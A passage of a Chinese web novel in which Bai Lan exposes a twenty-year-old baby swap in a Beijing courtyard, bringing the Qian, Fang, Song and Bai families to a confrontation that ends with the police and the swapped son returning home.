白兰再次笑了起来：“我啊！这不马上过去跟对方打招呼。你说巧不巧。他居然是钱阿姨你儿子！钱阿姨，你可真不地道啊！儿子长得跟我大舅、二舅那么像。这是多大的缘分啊！怎么二十年来也不带他回去一趟，好歹让大伙儿瞧个稀罕。你说对不？” 坏了！坏了！ 钱春云看着白兰的笑脸，觉得天都要塌下来了！她舔了舔发干的嘴唇，压低声音道：“这……这是太巧了。不过人都有相似的地方……” 白兰直接打断她的狡辩：“那不如我把这事儿跟你们厂里的人，跟我们大杂院的邻居宣扬宣扬……” 看着白兰眼中满满的恶意，钱春云觉得这闺女真是个恶鬼。但她不能，不能让白兰把这个事儿宣扬出去。她还不到四十岁，未来还有很长时间。不能在这个时候就让这秘密曝光。 老方要是知道的话，一定不会原谅自己的。继子那个白眼狼，立马就会让自己身败名裂。保卫这儿子，以后也不会给自己养老。至于白苹这个闺女，还需要好名声高嫁。自己不能连累对方。 这样想着，钱春云立刻道：“进来，进来……小兰。有什么事情，进来再说，进来再说……” 白兰就知道会是这个结果。这该死的钱春云，这是想捂嘴呢！ 虽然不废任何力气就进了方家的大门，但白兰心里还是憋屈。特别是在看到方家客厅里的电视、收音机、以及柔软舒适的沙发。更加觉得钱春云可恶。钱春云这样的好生活，是用她哥换来的！ —— “小兰……” “别，别这样叫我，我们不熟。” 刚坐下，钱春云就一副讨好的样子。看得白兰直反胃。 “你妈那样善良……你怎么跟你妈一点都不像……” 白兰不客气回怼：“你怎么跟你女儿那么像呢！” 这话一出，钱春云瞬间卡壳。知道自己的秘密是彻底保不住了。 “你为什么这样说？” 白兰：“别兜圈子了。我今天上门来可不是跟你浪费时间的。你现在要不就把当年的事情说个清楚。要不我就直接在你们生活区把事情宣扬出去。” 这话直中钱春云的死穴。 “我……这些年我把保卫这孩子养得可好呢！他现在可是纺织厂的技术工人。” 白兰见她还要兜圈子，瞬间坐起身来。示意许建北跟上。一副马上就要去外头宣扬的模样。 钱春云被她这副决绝的样子吓了一大跳。彻底不敢耍花招了。 “别……你别出去，我说，我说还不成嘛！” 白兰见她脸色灰败起来，这才重新坐了下来。 “说吧！我的耐心 是有限的！” 钱春云见白兰这副嚣张的样子，心里咬牙切齿。之前在大杂院那几天，她还没看出白家这小闺女，居然是这样难相处的人。自家苹苹跟这样的人住一屋，怕不是从小就被欺负长大。 白兰见她表情变来变去，真的想直接臭骂她一顿。但没把事情的真相挖出来之前，她决定再忍一忍。 —— 好在，钱春云看出白兰的强硬。知道不能兜圈子。开始避重就轻地说起了方保卫的事情。 “事情其实很简单。我是在保卫长到十多岁的时候，才发现他跟你大舅、二舅长得像。然后怀疑他是不是当年在医院就被抱错了。你知道的，这刚出生的小孩子，长得都差不多……” 白兰终于没了耐心，她算是看明白了。这钱春云就是个不见棺材不掉泪的。 于是，她直接朝门口喊了句：“方保卫，你进来。” 钱春云还在绞尽脑汁开脱，听到这话整个人都炸了。 只见原本应该关上的大门，不知道什么时候早就半开着。而自己养了二十年的儿子方保卫，正一脸震惊愤怒地看着自己。 “保卫……保卫……你听妈说……” “够了，妈。你不要再这样了！” 方保卫其实是跟着白兰他们一起来的。不过走到门口，就被白兰叫住，让他躲在门后。所以，他妈开门时说的话，以及之后进屋的那些狡辩，他全部都听到了。 那些话，除了更加佐证他的身世有问题外，没有其他任何效果。 “你来问吧！我觉得钱阿姨可能对我有意见！” 白兰耸耸肩，一副拿钱春云没办法的样子。 钱春云愤恨地瞪了白兰一眼，伸手朝方保卫那伸了过去。但立刻就被躲开了。 方保卫看着眼前这个养了自己二十年，喊了二十年妈的人，心情很复杂。 之前他还一直在心里找借口，说可能是搞错了。但刚刚他妈那样的狡辩，让方保卫那点子侥幸心理再也没有了。 只是，真相真让人难以接受。 自己叫了二十年的妈，不是亲妈就算了。居然还是把自己偷换的罪魁祸首。这怎么不让方保卫愤怒又难过。 —— “保卫，你听妈说……” 白兰烦透了钱春云一副受害者的模样。 “最后问你一次，是现在说，还是以后对着全纺织厂，对着整个三号大杂院的人说！” 钱春云求助地看向方保卫，但方保卫除了摇头还是摇头。 “妈，我需要知道当年的真相。” 钱春云痛苦地闭上了眼睛，再睁开的时候，才真的开始吐口：“你确实不是我的亲生儿子。当年我跟你妈生孩子是在同一间产房。但是，我确实没有动手把你换过来。我当时生孩子人都是懵的。清醒过来后，你就在我身边了。” 这话说得，真的把自己撇得够干净的了。 白兰毫不客气戳穿了她的伪善：“就算孩子不是你换的。但是后来你发现孩子长得像我妈那边的亲戚，你怎么不说？” “我……” 白兰直接打断钱春云可能的狡辩：“你别说你看不出来。你跟我妈是朋友，我大舅、二舅你都见过不少次。而且，你嫁到海城二十年了，你有一次带过方保卫回北城吗？就这一点，就能看出你早就知情！就是孩子不是你换的，但你也一定是知情人！” 钱春云看着白兰说不出话来。这姑娘的攻击性太强了，一点都跟她听说的不一样。 “让我再猜猜！你不会是要说，换孩子的人是你妈，你后来知道了，不敢说出来，怕你妈担责任？” 钱春云被白兰说中了心思，对白兰更加忌惮起来。 但随即，她看到白兰脸上再次露出一个笑容。 “既然你说自己是无辜的，一切都是你妈做的。那好，咱也不是不讲道理的。跟我们回去一趟，当面鼓当面锣，跟你妈对质！” 这是白兰想到的一个最好办法了。当然，也因为她想给白苹送一份大礼。对方这不是快要结婚了吗？白兰是不会让白苹顶着白家闺女的名头出嫁的！ “不行……” 钱春云立刻意识到白兰想做什么，直接摇头。 白兰：“我不是来征求你的意见，而是来通知你的。你要是不同意也没关系。那我自己去找方厂长谈！” “谈什么……” —— 熟悉的男人声音从外头响起，钱春云再次朝门口看去。只见自己的男人方立业正站在门口。 阳光打在男人的身后，高大的身影在屋里投下一抹阴影。如同投入了钱春云的心。 “老方……老方……我……你听我说……” 方立业走到钱春云身边，按了按她的肩膀，一副给妻子撑腰的样子。随即转头看向白兰，眼神锐利，充满了敌意。许建北见状，立马挡在白兰身前。 霎时间，气氛剑拔弩张。 但很快，方保卫自己站了出来。三言两语就把事情的来龙去脉说了出来。 “所以，爸。这个事情我需要知道真相。你也需要知道真相。既然妈说整个事情是姥姥做的。那么，就请妈跟姥姥对质。我不想活在谎言下！” 方立业握紧了拳头，然后又分开。眼前的小儿子还是那么直愣愣。他就说这小子性格不像自己，但从来没怀疑过这小子的身世。 毕竟，谁能想到有当妈的，会把自己的女儿，跟别人的儿子对调。明明自己的条件比对方要好。反过来的事情，他听说过。但像这种送亲生女儿去受苦的，他还真没见到过。 于是，方立业看向自从自己出现，就一副哀求模样的钱春云。 “你说，你好好地把事情再跟我说一遍。记住，不要说谎……” 白兰见状，冷笑一声。 没见到方立业前，她就从纺织厂的人口中打听过这位方厂长的为人。这人能从主任干到副厂长，是有几把刷子的。方保卫的身世出来后，她就不信钱春云还有好日子可过。 事实上，钱春云这会儿悔得肠子都青了。 不是后悔隐瞒调换孩子的事情。而是后悔前段时间就不该回北城。都怪她妈，偷偷给自己写信，说白苹这孩子找到了一个好对象。她就是这样，才会忍不住用了吃席的借口跑回去。 明明忍了二十年了，再忍忍，说不定就能更加稳当。 现在好了，事情不止被儿子知道了，还被老方知道了。 钱春云知道，自己的好日子要到头了。 第38章 第38章宋家、钱家、方家、白家…… “恭喜两位！” “谢谢！” 白苹笑容甜蜜地接过工作人员递过来的结婚证书。抬头看向身边面无表情的宋国平。 “国平，咱两这结婚证总算是办好了。” 宋国平的视线扫到那张薄薄的结婚证书，眼珠子动了动。 就是这么一张纸，居然能成为证明自己思想的证据，宋国平觉得真是扯淡。可惜，现在就这样。要不是有人该死地把自己的事情捅到上面去。他也不用放弃喜欢的人，跟眼前这姑娘结婚。 虽然，目前看来这白苹是个可以合作的。 “是啊，挺好的。待会儿证书给我，拿回去给我爸妈瞧瞧。他们一定会很高兴。” 白苹雀跃点头：“嗯，对了。我姥姥一家子今天都在我家。你要不跟我走一趟，跟他们见见面？” 宋国平想拒绝。他跟白苹这段婚姻，从一开始就说好了，只是互相帮助而已。他不太想跟对方的家庭牵扯太多。 所以，他直接摇头，接过结婚证书就直接朝家里走。 这让白苹的脸色瞬间下沉。心想宋国平这人还真难讨好。但转念一想，甭管对方再怎么难讨好。她现在跟对方可是领了证的。以后的事情，由不得宋国平了。 而离开的宋国平很快就到了家里。 他人刚进家门呢，就听到他爸跟他妈正在穿外套，一副要外出的模样。 “爸，妈，这时候就出去？” 现在才上午十点左右。他是特意早起跟白兰去打结婚证的。 宋厂长见儿子回来，立马就注意到他手里拿着的结婚证。 “这么快就打好结婚证啦！” 这语气听起来有点奇怪，宋 国平疑惑看向他爸。但宋厂长已经平复好了思绪，直接道：“你也一起……” 说着，带着妻子率先走出家门。 宋国平见状，顾不得放下手里的证书。团巴几下塞口袋，立马跟了上去。 —— 于此同时，白苹已经坐上了回家的公交车。十多分钟后，她下车，一路顺利回到了大杂院。 这时候，大杂院还没人知道她今天出门是去领证的。 因为白苹这些天老是在大杂院进进出出。有时候住在这儿，有时候又回宿舍住。所以，没人去关注她的来去。 这会儿大伙儿都坐在院子，听白家姥姥说乡下今年收成的事儿。甚至，还有人跟白家姥姥打听，他们村今年交公的任务猪有多重。 白苹见一院子不是说种田就是养猪，撇撇嘴。心想泥腿子就是泥腿子，十句话里面有八句都是在说种地的。幸好，她嫁的可是厂长家。再过段时间，等她生下孩子，就让宋厂长把她工作调到钢厂那。那破报社她算是呆够了！ “哎，小苹。你姥刚在说你结婚的安排。你要是有什么想法，现在赶紧提出来！” 就在白苹思绪万千的时候，钱大妈悄咪咪凑到她耳边嘀咕起来。 白苹一听立马清醒了过来。今天姥姥、大舅、二舅过来，可是跟她妈商量结婚要给自己准备嫁妆的事情。之前她爸已经说了家里会准备什么东西。但是姥姥家这添嫁妆可是另外给的。 这样想着，白苹立马拨开众人，凑到自家姥姥身边，开口就说起自己想要什么。 秦大妈见白苹这样直接，嘴角的笑容就没下去过。女人就该这样，想要什么就说出来。总有人愿意给出来的。 —— “白苹……” 就在院子热闹的时候，宋家一家三口直接走了进来。 白苹正在高兴今天姥姥的好说话。也得意周围人对自己羡慕的目光。见宋家一家三口忽然上门，更加惊喜万分。 心想这才分开还不到一个小时呢，刚还不愿意来自家的宋国平，居然把他爸妈也带来了。这不就说明对方有把自己放在心上吗？ 想到这儿，她如同一只花蝴蝶一般，飞奔到宋国平身边。 不等宋国平说话，白苹已经高声宣布：“大家伙儿，今天趁着大家都在。我要宣布一件喜事！ 院子众人立刻起哄起来，有人叫好，有人起哄。场面一度热闹非凡。 “我……今天跟宋国平同志打了结婚证啦！” 兴匆匆宣布完后，白苹这才看向宋国平：“中午就在我家吃饭呗！” 宋国平瞪着白苹拉着自己的手，不自在地挣脱了。随即才说道：“我们今天来，是因为有人给我们家打电话了。” 白苹疑惑：“谁？” —— “我……” 一声响亮的声音，打破了大杂院热闹的氛围。众人本来在恭喜白家人，这会儿都安静了下来。齐齐朝声音看过去。 只见白兰穿着一身好看的深蓝色呢子长款大衣。带着一定酒红色的灯芯绒帽子。正站在月亮门那看向他们。而她身边，站着的是穿着同款大衣的许建北。 除了这两人，他们身后居然还站着一家三口。 有那眼尖的，立马就看到了钱春云。而记忆力好的人，也马上就认出了钱春云边上站着的中年男人。 可不就是老钱家那在海城的厂长女婿吗？ 当然，平常如果大家看到二十年没上过门的钱家女婿，一定会惊呼出声。但这会儿大家的注意力很快都落在一个小伙子身上。 “哎哎，那……那小伙子怎么这么眼熟？” 万大妈拍了拍王老太，指着月亮门那站着的小伙子，话都说不出来。 不少人都跟万大妈有同样的反应。 而胡寡妇这个见多识广的，已经开始扭头看向白家廊下站着的两个中年男人。 “像，真是该死的像！” 胡寡妇的声音打破了众人的震惊。大家齐齐看向白家的两个舅舅。又看向那小伙子。随即问道：“爱红，那是你家的亲戚？” 白妈妈何爱红同样震惊地说不出话来！ 白兰这段时间跟着许建北去海城她是知道的。用的理由是一起去购买结婚用的东西。她也没多想，只觉得姑娘一辈子就结一次婚，去海城买东西也不奇怪。家里也有这条件能提供。 但是，谁能告诉她，为什么小闺女身后站着的小伙子，跟自家大哥、二哥长得那样像！ “小兰……” 白家姥姥最为果断，已经站起身来，把挡在身前的钱大妈一把推开，快步走到白兰跟前。 “小兰，这位是……” 白兰嘴角带笑，介绍道：“这是钱大妈的女婿方厂长。这小伙子是方保卫同志。” —— “哎，你们说那方保卫，真是钱家外孙？” 万大妈看着白家紧闭的屋门，跟其他邻居嘀咕起来。 十分钟前，先是宋家一家三口上门。还没问呢，白兰又带着钱家女儿一家三口上门来了。 这事儿可真是诡异得巧合。 但是更加巧合的是，钱家的外孙，居然跟白家的舅子长得像。 胡寡妇撇撇嘴：“你们忘啦！当年钱春云跟何爱红，可是在同一间产房生的孩子呢！” 同样的话正在白家堂屋中出现。说话的人正是白家姥姥。 “钱春云，当年你跟我闺女前后脚发动，一起进的产房。我闺女怀的双胎，在医院检查的时候，听说你要生了，一着急就跟着发动了，对吧！” 钱春云一副失魂落魄的样子，根本没有搭理白家姥姥的话。 白家姥姥也不是要她回答。这个事情整座大杂院的人都知道。 当年闺女这生产太急了些，那会儿在医院的就钱大妈这个女人。 等他们这些亲人听到消息过去的时候，闺女这都生了。而钱春云同样也生了。当时他们还说这两人真是好朋友，生孩子也一起生。这缘分也没谁了！ 那会儿白家姥姥也过去了，她到的时候，就知道闺女生的是两女儿。而钱春云生的是儿子。整个生产过程，也就钱大妈在场。 但是，生儿子生女儿，他们这些后来的亲人不知道。那些医生护士也不知道吗？为什么没人提这个？ 当然，这些都是以后要追究的事情了。现在，他们要追究的人是钱大妈母女两！ —— 白兰见自家姥姥战斗力爆表，也就没说话。跟许建北坐在一起喝水休息。 她可是特意算好时间，从海城坐火车赶回来的。中间为了让钱春云同行，可是废了好大一番功夫。能这么巧让钱家、方家、宋家、姥姥家的人碰到一起，真是让她十分满意。 当然，对于方厂长跟着过来的动机，白兰多少有些了然。 不过这是方家的事情，她管不着。她要管的是让钱家人付出代价。 钱大妈见闺女傻呆呆不说话，立刻挡在她身前：“这事儿你现在问有什么意思。肯定是当年那些接生的医生护士搞错了呗！既然孩子认错了，现在调换过来就是了。” “你当养孩子是过家家啊！” 白妈妈终于受不住跳了起来。但立马被白爸爸给拦住了。 只见白爸爸大力拍了下桌子，发出沉闷的咚咚声。 “今天这个事情必须说清楚。” 白爸爸的震惊不比白妈妈少。谁能想到当年媳妇生孩子还有这样的事情发生。要不是小闺女发现，直接把人带了回来。他们真是到了地下也不会知道。养了二十年的闺女，居然不是亲生的。自家的儿子，居然被人给掉包了。 “如果不说清楚，不要怪我不客气！” 钱大妈：“事情就是这样，你就是说破天了，那也是当年接生的医生抱错孩子。我们家也是受害者。我们要是有坏心，故意换孩子，怎么可能还把保卫这孩子养得那么好。” 这话可真是够不要脸的。就跟她那闺女差不多。 白兰瞪着钱大妈，实在是觉得生气。但事情都过了二十年，当年产房的真相，要查出证据很难。但在场的众人，心知事情铁定是钱家母女做下的。 她们两铁定是知情人。不然，为什么这么多年，不把方保卫带回来。但凡见过方保卫的人，都不能否认他跟白家人的血缘关系。 —— 白家两舅舅这会儿开口了。 “这个事情不管你们母女怎么狡辩都好，我们何家一定追究到底。” 白家姥姥对于儿子跟女婿的反应都很满意。她看向进来后一直没说话的方厂长：“方同志，这个事情你也受害者。你又是怎么一个说法？” 能在知道真相后，还压着钱春云到大杂院对质，白家姥姥不觉得对方会那么简单。 方立业环顾四周，叹气：“这个事情虽然春云不承认，我岳母也在推脱。但是我们都不是傻子，事情的真相到底是怎样，大家心知肚明。所以，现在要做的是把事情妥善解决。” 他亲自跑这一趟，可不是想在这里掰扯的。这种事情出来，只能快刀斩乱麻。把影响降到最低。当然，要是能把事情掩盖下来，其实对他最有利。不过，在海城的时候，方立业就看出白兰不是个会妥协的。所以这条直接被他给忽略了。 —— “不对，你们到底在说什么？” 自从白兰带着人出现后，白苹就一直处于一种恍惚的状态。她好像听到了，又好像没听到。这些人到底在说什么。说自己不是白家人，说自己是钱家的外孙女。这个什么方厂长的女儿？ 这怎么可能呢！ 她就是白苹啊！她要不是白家闺女，怎么会在白家生活了二十年。而且，在她的梦里，根本就没有她不是白家闺女这件事情发生。在那梦里，她嫁给窝囊废邱成才。一辈子过得窝窝囊囊。从头到尾都跟钱家没有一毛钱的关系。 现在，为什么钱家会变成她的外家？ 想到这里，白苹看向满脸得意的白兰。 是了，就是白兰。这一切一定是白兰搞的鬼。她一定知道自己跟宋国平打结婚证。嫉妒自己要嫁到厂长家，这才特意设了这个局。 这样一想，白苹忽然大吼一声，朝白兰就冲了过去。 白兰看着疯狂的白苹，冷笑。这一次她不会让对方顶着他们白家的名头出嫁。钱家人那么恶心，方家那么复杂。这样的家庭，才最适合白苹这样的自私鬼。 白苹的手掌还没落下，白兰已经一脚踢了过去。直接把她踢倒在地，还滚了两圈，直接滚到了钱春云脚下。 还在愣怔中的钱春云，被白苹这一撞，立马清醒过来，抱住白苹就大吼：“你干什么，干什么。干什么打我闺女。我就知道，你这小贱人，一定从小就欺负我们家苹苹……” 这话说得，白兰真是觉得恶心。 不过，钱春云这一番拳拳爱女之心并没有得到白苹的回应。只见白苹直接把钱春云推开，大喊：“我不是你闺女，我不是。” 随即，白苹对着白妈妈就喊：“妈……” 白妈妈却撇开头不再看她。这孩子，从小疼到大的孩子。现在告诉她，这不是自己亲生的。而且，这孩子的亲妈还把自己的亲儿子给换走了。这种恶劣的行为，让白妈妈再也无法用以往的态度对待白苹。 而钱春云被白苹这一声声妈刺激得大喊：“我才是你妈，我才是你亲妈！” “不是，不是……” 白兰看着这咆哮的母女两，震惊了。她拉了拉许建北，感叹：“这真不愧是亲母女两啊！” 许建北：还真挺有母女相的。 不过，这母女两在这大喊大叫，堂屋里其他人却没时间陪他们闹腾。 只见自从进门后一直没什么动静的宋家人，这会儿开口了。 宋厂长：“这个事儿我们算是看明白了。所以，我家国平跟白苹的婚事，可以直接取消了。” 他们家娶白苹，图的是白家的清白身份。而不是白苹这个人。现在白苹不是白家人，而且她妈跟姥姥涉嫌换孩子。那么，白苹的身份就不清白了。这样的人，没资格嫁进他们老宋家。嫁进来说不定还会带累他们家。 这样一想，儿子今天跟白苹打的结婚证，真是一个大大的败笔。 白兰见宋厂长那么现实，心里就是一阵冷笑。果然，自己给对方打电话，让他们一家过来看热闹，果然会是这么一个结果。 白苹那么喜欢攀高枝，好不容易攀上宋家，现在就这样没了，估计是要疯了吧！ 白苹确实快要疯了。 听到宋厂长的话，今天打结婚证时的幸福，完全碎裂。 “不，我不同意。” 白苹的拒绝没人理会。宋家一家三口都站起身来，一副不准备继续参与，要走人的意思。 这时候，方厂长再次说话了：“事情这样谁也不想。这位宋厂长，要不咱还是坐下来好好商量一下？” 白苹总是他血缘上的闺女。虽然对这闺女没有任何感情，但方厂长依然想对方能有个好归宿。而且，宋家的家世，跟自家也能匹配得上。 “你们担心春云的事情，我会让她解决的。” 钱春云为了家里人，就应该有所觉悟。 钱大妈听出了方厂长话中隐含的意思，立刻跳脚：“立业，你想做什么？我跟你说，当年的事情……” 方厂长冷哼：“什么当年的事情都没有了。现在，你跟春云必须要把换孩子的事情说清楚。” 钱大妈被方厂长的冷酷气得浑身颤抖。 “妈，你不要这样对立业。” 钱大妈这还没动真格呢，钱春云就跳出来阻止她妈了。 钱大妈顿时被气了个倒仰。她忽然觉得当年自己可能真是做错了。不应该在闺女看中方立业后，灌醉方立业让他们两成了好事。 那时候，方立业还没离婚。因为跟自家闺女有了关系，最后才匆匆回去离了婚的。 当时，闺女那副骄傲得意的模样她还记得。 方立业这么个大龄男人，当时拍着胸脯保证会好好对待她闺女一辈子。现在看看他，这是要毁了春云啊！ “你们够了。不愿意交代就滚。这个事情我们直接去派出所报案！” 白爸爸一拍桌子，一锤定音。立马站起身来就要出去。 方立业立马阻止：“白同志，等等。这个事情我们先商量。先把对孩子的影响降到最低。” 白爸爸听到后，看向养了二十年的白苹，又看向一天都没养过的亲儿子。最终还是点头。 不过，再怎么妥协，他们也不会放过当年做下恶事的人。 钱大妈被所有人敌视，但依然嘴硬不肯妥协。 不过，一直在角落默默不说话的钱大爷，这个在大杂院没什么存在感的老头。这时候出来说话了。 “事情当年确实是我家老婆子做下的。春云是在后来才知道的。当然，我也是后来知道的。孩子确实是我家老婆子给对调的。” 这话无疑把事情彻底定音。钱大妈脸色难看。钱春云则是一副松口气的模样。 但白苹已经要疯了。她直接伸手就捶打钱春云：“你为什么要害我，为什么？” 钱春云拼命躲闪，她看着白苹眼中的恨意，忽然觉得心凉了半截。 她虽然没养过这孩子，但这些年可是让自家爸妈一直在背后默默照看的。而且，她也是为了这闺女结婚的事情，最后才把秘密爆出来的。 为什么，到头来这闺女会这样恨自己？ 钱春云再抬头看向方立业，这个自己仰仗了半辈子的男人。但男人却微微移开视线，不再看自己。 方保卫这个儿子更是，看着自己的目光也带了一丝丝愤怒。 钱春云心中大喊她没错啊！她能有什么错呢！ 是了，一切都是她妈的错。 “都怪你，为什么要偷摸换孩子，为什么。我没叫你换的，没叫你换的！” 前一秒，白苹这个当女儿的，在打当妈的钱春云。 下一秒，钱春云这个当女儿的，转头就去打钱大妈这个妈了。 这可真是有够讽刺的。 这打亲妈也会遗传不成！ 白兰索性靠在椅背上看戏。 而钱大妈被女儿打懵了。 “还不是怕你没儿子，会被方保国那拖油瓶给欺负！” 这话一出，整个堂屋都安静了下来。 众人齐齐看向方立业。方保国这名字，一听就是对方那个大儿子。 方立业也被钱大妈这话给气笑了。 当年的事情，大家心知肚明到底是怎么一回事。 钱春云灌醉自己向嫁给自己，自己也不喜欢家里那个包办婚姻媳妇。半推半就成了好事。这些年自己也没亏待过钱春云，亏待过钱家。 怎么现在掉包孩子还赖在他方立业头上？他又不是没儿子，也不稀罕儿子。 方立业被钱大妈这话气得就想离开。但这次被宋厂长给拦住了。 两位厂长都有自己的小九九。 而白爸爸不想再听钱家母女两的狡辩。直接起身出门喊警察去了。 白兰看着自家廊下围着的那一圈邻居，心里只想笑。 钱家、宋家、方家都想把这事儿压下。不过，有了这些爱看热闹的邻居，不用半天，整个北城都知道钱家人干过的好事。 刚还在那嘴硬的钱大妈，见到门口的这些老邻居，额角青筋直跳。 完了…… 完了…… 方厂长看着离开的白爸爸，也不再理会钱家母女，起身就说道：“既然你们不想解决麻烦。现在白家人要追究，我也保不住你了。等你的事情确定后，咱两就去离婚。保卫，你要跟爸回海城吗？” 方保卫为难起来。他其实也不知道自己该怎么办！ 白家姥姥这时候开口：“这孩子的事情，咱还是得妥善安排。” 白兰一听，立马凑到姥姥耳边：“姥姥，不能让白苹再顶着咱老白家的身份。” 不是白兰要赶尽杀绝。而是白苹这人太自私。这种人早晚要惹出大乱子。说不定还会连累子孙后代的那种。所以，早点跟这人撇清关系再好不过。 白家姥姥点头。她也是这样想的。今天这个事儿她的确特别生气，但可能因为从来就不喜欢白苹，所以真相出来，她有种理所当然的感觉。 就是这外孙方保卫，要怎么安排是个问题。 方保卫：“爸，我想在这里留几天。” 方厂长见状也不勉强。这个儿子他了解，真真是个好孩子。即使不是亲生的，他依然会把对方当亲生的。都养了二十年了，感情是不会消失的。 至于白苹，他摇摇头。还是得安置一番，脑壳疼。 最终，方厂长是跟宋家一家三口离开的。至于他们谈什么，白兰暂时不清楚。 因为警察来得特别快。马上，钱家一家三口都被带走了。后续怎么调查，钱家人又会受到怎样的惩罚，就要看警察那边找到的证据了。 “你……既然你跟宋国平打了结婚证。你就去宋家吧！” 白爸爸看着钱家人被带走后，对白苹轻声说道。 “爸……” 白爸爸立马摆手：“我不知道该怎么面对你。放心，宋家人就是对你不满，也不会做什么。” 而且，那方立业可是跟着宋家一起离开的。方立业不算什么好人，但年轻时候他也认识，知道这人行事有自己的一套。知道白苹是他亲闺女，自然会安排妥当。 白苹愣愣起身，还是不敢相信自己不是白家闺女。 但是，她赖在这里不走也没用。 敞开的屋门就能看到对她指指点点的邻居。这个事情一出，自己的名声是彻底没了。以后她都要顶着被人掉包的名义生活。 想到这，她摇摇头。起身准备去找方立业。那也是个厂长，自己是厂长的闺女。可惜，顶着一个坏名声，未来不知道该怎么办。 临走前白苹还记得瞪白兰一眼。她不会忘记是白兰害她这样的。 白兰一点都不怕白苹，直接瞪了回去。 哼，按照她对方厂长的了解，这人顶多就是跟宋家交换些利益，让宋家接受白苹。 只是，被硬逼着吞下白苹这样的苍蝇。宋家怎么会对她好呢？ 宋家对她不好，白苹又不肯离婚。等待她的只有难过的日子。 这样的未来，白兰可是十分期待的。 第39章 第39章一家团聚 “那你是先回厂里一趟，还是直接留在家里？” 人都走了后，白兰小声问许建北。这一次回来，许建北是提前了几天的。他在海城的工作并没有结束。只是担心白兰这边一个人压不住方家人。这才跟着她一起回来。 “我先去厂里把工作报告交上去。这几天会比较忙，就住在厂里。你家里出了这个事儿，接下来估计会乱糟糟。你自己要小心点……” 白兰倒不怕家里乱，糟心的人都被赶走了。剩下的就看钱家母女两那头会怎么掰扯。再有一个，就是方保卫这边要怎么安顿了。 这样想着，白兰看向正被自家姥姥、大舅、二舅围着的方保卫。 “不用担心，他这人虽然直愣愣的，但人挺拿得住的。我看他这会儿应该挺高兴的。” 许建北见白兰担心的模样，小声劝了几句。 跟方保卫相处这几天，许建北是挺欣赏这人的。不说他的技术能力强，人品也十分不错。这次能那么顺利把方家人拉过来，方保卫也出力了。不过，方保卫对方厂长跟钱春云其实还是有感情的。所以，不可能说马上就把人拉到白家来。 “我知道。” 白兰看出了许建北的想法，笑笑。要是方保卫立马就抛开了养了他二十年的人，他们家反倒是不能接受了。 现在这个对方厂长、钱春云还有感情的方保卫，才是一个值得往来的人。 —— 屋里，方保卫也确实在跟白家姥姥说自己对方厂长、钱春云的感受。 “我妈……额，不对。那钱阿姨是做了对不起我们家的事情。但是，我不能马上就说恨死这个人。我爸那边，来之前已经跟我交底了。他不会干涉我的决定。” 白家姥姥：“这样很好。你是个知恩的孩子。” 不像白苹，今天一来就找她老婆子要添妆。后来换孩子的事情爆出来后，立马就能翻脸不认人。这样的人，闺女家不能再跟她有牵扯。 想到这里，白家姥姥拉着方保卫的手，直接走到自己闺女跟前：“爱红，这是你十月怀胎生下的儿子。他在方家这些年也过得不容易。你别再去想白苹的事情了。她那样的人，就是流落街头都能想法子让自己过得更好。” 白妈妈一直在看着方保卫。但等人真到自己跟前，她发现不知道该说什么好了。但亲妈的话她还是点头认同的。 白苹，已经不是那个小时候柔柔弱弱的孩子了。 方保卫面对亲妈，心里也有点紧张。之前人多还没觉得有啥，现在面对面让他恍惚了起来。 这时候，白兰笑着走了进来。 “哥，你别紧张。我给你介绍一下家里人。这是妈妈何爱红同志，这是爸爸白小牛同志，这是大姐……” 白兰这一两串不带停歇的介绍，反倒是让方保卫放松了下来。他笑着学白兰的称呼，一一喊起了众人。 一时之间，整个白家堂屋的气氛轻松无比。 屋外，一直留在原地看热闹的邻居们，还没从钱家人换孩子这件事情中缓过来呢！ 更加不用说那些看到警察押走钱家人的邻居们了。 整个大杂院都被这些等着吃瓜的人挤得满满当当的。白兰看看外头探头探脑的邻居们，忽然就就得挺可乐的。 这个事儿，他们家不会保密。反而会把事情的经过大力宣扬出去。 所以，白兰在给方保卫介绍一轮亲 人后，又跑到院子。开始回答这些邻居们的各种问题。 —— 于是，关于钱家人换孩子的事情，不到半天的功夫，已经传到隔壁河省去了。 主要是这拿闺女换了人家儿子，还在人家眼皮子底下蹦跶了二十年，还死不承认这样恶劣的事情，太罕见了。 所以，钱家母女的事情很快就有了结果。 据说这两人到了派出所，就一一交代了换孩子的经过。 在产房时，有一个助产士收了钱大妈的钱，然后帮着把两个产妇的资料改了。所以，医院那边没有发现孩子调换的事情。 钱大妈把事情都揽在自己身上，最后钱春云就被放了出来。 绕是这样，因为调查过程耗费了半个月时间。所以她也在里头关了半个月才放出来。 出来的时候，整个人瘦了一大圈不说。那头卷发也被剪成鸡窝头。身上的衣服更是散发出一股难言的味道。 白兰看着这样的钱春云，再对比第一次见面时对方那种时髦样，就觉得痛快极了。 她早就知道钱春云能够脱身。因为这个事情开头是钱大妈搞出来。钱春云最多就是一个知情不报。 按照目前的法律制度，在这方面入手对付她没用。 至于当年她跟方厂长开始时的不光彩，时过境迁，再去追究更加不会有证据。而且，这方厂长目前来说并没有做对不起他们家的事情。所以白兰不准备再盯着对方。 再说，多亏了对方的帮忙，方保卫的户口跟工作，已经调到了北城第一纺织厂。也就是他们大杂院住户们工作的那个厂子。 这样一来，方保卫就能正式回归到白家生活。 这是她爸妈想要的结果。 —— “保卫，保卫。你来接妈啊！” 钱春云满脸恍惚从拘留所出来，立马就看到门口站着的方保卫。她马上冲了过去，就想拉住这个养了二十年的儿子。心里感叹这儿子没有白养。居然愿意来接自己。那么，以后一定也愿意给自己养老送终。 不过，方保卫却躲开了钱春云的手。 “钱阿姨，我是来跟你做个了结的。” “你喊我什么？” 钱春云大喊大叫道：“我是你妈！” 方保卫摇头：“真相都已经出来了。这些话不用说了。我已经把户口迁到白家。也把工作调到了北城。以后海城方家的事情我不会再管。你以前养了我二十年，但我爸妈也养了你女儿二十年。所以，以后我不会给你养老送终。当然，这二十年来你对我的照顾，我也是感激你的。” “但是，这感激不能掩盖你犯下的罪过。” “所以，以后我们见面就当陌生人好了。” 这是这半个月以来，方保卫思考过后的结果。他不能跟钱春云接触，这会伤害亲生父母。 而且，其实他心里也怨恨钱春云做的事情。 钱春云不能接受方保卫的话，发疯一般朝他冲了过来。但再次被躲开。这时候白兰上前说道：“你要找人养老送终，就找你亲闺女白苹。她现在就住报社。” 至于这所谓的亲闺女理不理钱春云，就不是他们能干涉的了。 跟钱春云说清楚后，白兰拉着方保卫往家里走。 “哥，厂里给你安排的地方，我觉得其实不太好。” “其实挺好的，我可以天天跟爸妈见面……” 